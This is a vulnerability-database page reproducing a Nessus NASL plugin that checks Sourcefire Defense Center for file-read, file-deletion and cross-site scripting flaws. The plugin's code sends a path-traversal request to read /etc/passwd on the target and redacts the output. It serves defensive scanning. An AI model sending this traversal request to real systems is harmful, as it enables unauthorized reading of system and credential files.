Sourcefire Defense Center Multiple Security Vulnerabilities
| Source | Link |
|---|---|
| seclists | www.seclists.org/fulldisclosure/2012/Apr/52 |
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(69441);
script_version("1.15");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/06/03");
script_bugtraq_id(52887);
script_xref(name:"IAVB", value:"2012-B-0046-S");
script_name(english:"Sourcefire Defense Center Multiple Security Vulnerabilities");
script_summary(english:"Tries to read /etc/passwd using SourceFire Defense Center");
script_set_attribute(attribute:"synopsis", value:
"The remote SourceFire Defense Center installation is affected by
several security issues.");
script_set_attribute(attribute:"description", value:
"The remote host is a SourceFire Defense Center appliance. The remote
version of this software is affected by the following vulnerabilities :
- Two arbitrary file download vulnerabilities that allow
an attacker to read arbitrary files on the remote file
system.
- An arbitrary file deletion vulnerability that allows an
attacker to delete arbitrary files on the remote file
system.
- A permanent cross site scripting vulnerability.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2012/Apr/52");
script_set_attribute(attribute:"solution", value:"Contact the vendor for a patch.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
script_set_attribute(attribute:"vuln_publication_date", value:"2012/04/04");
script_set_attribute(attribute:"plugin_publication_date", value:"2013/08/22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"stig_severity", value:"I");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");
port = get_http_port(default:443);
r = http_send_recv3(method:"GET", port: port,
item:"/");
if ( isnull(r)) exit(0, "No answer");
if ( "/login.cgi" >!< r[1] ) exit(0, "Not a SourceFire Defense Center host");
file = "/etc/passwd";
r = http_send_recv3(method:"GET", port: port,
item:"/ComparisonViewer/report.cgi?file=../../../../../" + file);
if (isnull(r)) exit(0);
res = r[2];
if ( strlen(egrep(pattern:"root:.*:0:[01]:", string:res)) )
{
res = data_protection::redact_etc_passwd(output:res);
set_kb_item(name:'www/'+port+'/XSS', value:TRUE);
report = string(
"\n",
"Here are the repeated contents of the file '/etc/passwd'\n",
"that Nessus was able to read from the remote host :\n",
"\n",
res
);
security_hole(port:port, extra:report);
exit(0);
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Jun 2021 00:00Current
5.5Medium risk
Vulners AI Score5.5